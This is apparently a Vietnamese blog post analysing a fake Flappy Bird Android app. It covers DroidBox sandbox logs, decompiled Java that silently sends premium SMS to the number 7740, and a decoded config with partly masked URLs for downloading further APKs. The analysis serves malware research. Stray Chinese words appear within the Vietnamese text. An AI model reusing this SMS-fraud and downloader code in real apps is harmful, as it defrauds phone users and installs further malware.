Phân Tích Kỹ Thuật Ứng Dụng Flappy Bird Giả Mạo Chứa Mã Độc Trên Android

Tổng Quan Về Vụ Việc

Vào đầu năm 2014, trò chơi Flappy Bird đạt được độ phổ biến cực cao trước khi bị gỡ bỏ khỏi các kho ứng dụng chính thức. Ngay sau đó, nhiều phiên bản sao chép xuất hiện, trong đó có những ứng dụng chứa mã độc. Một mẫu cụ thể đã được phát hiện có khả năng gửi tin nhắn SMS ngầm mà người dùng không hề hay biết.

Mã hash MD5 của file APK độc hại này là: 6c357ac34d061c97e6237ce9bd1fe003.

Quá trình phân tích được thực hiện thông qua hai phương pháp chính: phân tích động (dynamic analysis) để quan sát hành vi运行时 và phân tích tĩnh (static analysis) để xem xét mã nguồn sau khi dịch ngược.

Thiết Lập Môi Trường Phân Tích Động

Công cụ chính được sử dụng là DroidBox, một khung phân tích động dành cho Android. Để vận hành, cần chuẩn bị môi trường Linux (ví dụ: Ubuntu) với các thành phần sau:

  • Python cùng các thư viện hỗ trợ vẽ đồ thị như pylabmatplotlib.
  • Android SDK để chạy máy ảo (Emulator).
  • DroidBox script.

Cấu hình biến môi trường để truy cập công cụ SDK từ mọi thư mục:

export PATH=$PATH:/path/to/android-sdk/tools/
export PATH=$PATH:/path/to/android-sdk/platform-tools/

Sau khi tải và giải nén DroidBox, tiến hành tạo một máy ảo Android (AVD) phiên bản 4.2.1. Khởi chạy phân tích bằng lệnh:

./droidbox.sh flappy-bird.apk

Hệ thống sẽ ghi lại toàn bộ nhật ký hoạt động của ứng dụng trong môi trường sandbox.

Kết Quả Phân Tích Động

DroidBox xuất ra日志 dưới định dạng JSON. Qua việc kiểm tra các log này, hai hành vi đáng ngờ đã được xác định rõ ràng:

1. Gửi Tin Nhắn SMS

Ứng dụng thực hiện gửi tin nhắn đến đầu số dịch vụ mà không có sự tương tác rõ ràng từ người dùng. Dữ liệu log ghi nhận:

"sendsms": {
  "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
  "number": "7740"
}

Nội dung tin nhắn được mã hóa một phần và gửi đến số 7740.

2. Truy Cập Mạng

Ứng dụng kết nối đến các địa chỉ IP cụ thể để tải dữ liệu. Một yêu cầu HTTP GET được phát hiện:

"sendnet": {
  "desthost": "210.***.***.195",
  "data": "GET /bookmark/getServiceCode?price=15000 HTTP/1.1..."
}

Khi giải mã dữ liệu hex, ta thấy ứng dụng gọi API để lấy mã dịch vụ dựa trên giá tiền. Kết quả trả về chính là số điện thoại dùng để gửi SMS (ví dụ: giá 15000 trả về số 7740). Ngoài ra, ứng dụng còn tải xuống một file APK khác từ địa chỉ http://210.***.**.196/app/flappy.apk, cho thấy chức năng của một bộ tải xuống (downloader).

Phân Tích Tĩnh Mã Nguồn

Để hiểu rõ cơ chế hoạt động, file APK được dịch ngược sử dụng dex2jar và xem mã nguồn bằng JD-GUI. File classes.dex chứa logic chính của ứng dụng.

Lớp Xử Lý SMS

Một lớp có tên SmsBroadcaster (tương ứng với SendSMS trong bản gốc) chịu trách nhiệm gửi tin nhắn. Mã nguồn đã được tái cấu trúc để minh họa logic:

package com.hdc.ultilities;

import android.telephony.SmsManager;
import android.content.Context;
import android.app.PendingIntent;
import android.content.Intent;

public class SmsBroadcaster {
    public static String targetNumber;
    public static int retryLimit;

    public static void executeSmsTransmission(String content, String recipient, Context ctx, String prefix, int count, String suffix) {
        targetNumber = recipient.trim();
        retryLimit = count;
        
        new Thread(() -> {
            try {
                Intent sentIntent = new Intent("SMS_SENT_ACTION");
                PendingIntent sentPI = PendingIntent.getBroadcast(ctx, 0, sentIntent, 0);
                
                SmsManager smsService = SmsManager.getDefault();
                // Gửi tin nhắn văn bản
                smsService.sendTextMessage(targetNumber, null, content, sentPI, null);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }).start();
    }
}

Đoạn mã trên sử dụng SmsManager để gửi tin nhắn ngầm. Các PendingIntent được thiết lập để chặn thông báo gửi thành công hoặc thất bại từ hệ thống, nhằm giấu hành vi khỏi người dùng.

Lớp Hoạt Động Chính

Lớp EntryPointActivity (tương ứng MainActivity) chứa logic kích hoạt hành vi độc hại. Khi người dùng tương tác với các hộp thoại xác nhận, phương thức gửi SMS được gọi.

public void showConfirmationDialog(String message, int mode) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage(message);
    builder.setPositiveButton("Đồng ý", (dialog, which) -> {
        // Kiểm tra kết nối mạng trước khi thực hiện
        if (isNetworkAvailable()) {
            // Kích hoạt gửi SMS dựa trên cấu hình mạng
            if (carrierType.equals("VIETNAM_MOBILE")) {
                SmsBroadcaster.executeSmsTransmission(
                    smsContent, 
                    serviceCode, 
                    this, 
                    prefixCode, 
                    discountRate, 
                    suffixCode
                );
            }
            // Tải thêm ứng dụng khác
            downloadAdditionalApk();
        }
    });
    builder.show();
}

Logic này giải thích为何 trong phân tích động thấy có nhiều tin nhắn được gửi đi: mỗi lần hộp thoại hiển thị và người dùng nhấn chấp nhận, quy trình gửi SMS lại được kích hoạt.

Tệp Cấu Hình Ẩn

Thông tin về số điện thoại, nội dung tin nhắn và URL được lưu trữ trong một file cấu hình mã hóa Base64 nằm trong thư mục tài nguyên. Sau khi giải mã, cấu trúc JSON như sau:

{
  "sv_code_active": "7740",
  "mo_active": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
  "url_get_sv_code": "http://cuc****.mobi/bookmark/getServiceCode?price=15000",
  "items": [
    {
      "link": "http://andr****ot.net/app/flappy.apk",
      "serviceCode": "7740"
    }
  ]
}

Dữ liệu này xác nhận ứng dụng không chỉ đánh cắp tiền qua SMS mà còn đóng vai trò là cửa ngõ để tải xuống và cài đặt thêm các ứng dụng độc hại khác vào thiết bị của nạn nhân.

Thẻ: android-malware reverse-engineering mobile-security apk-analysis droidbox

Đăng vào ngày 25 tháng 6 lúc 03:30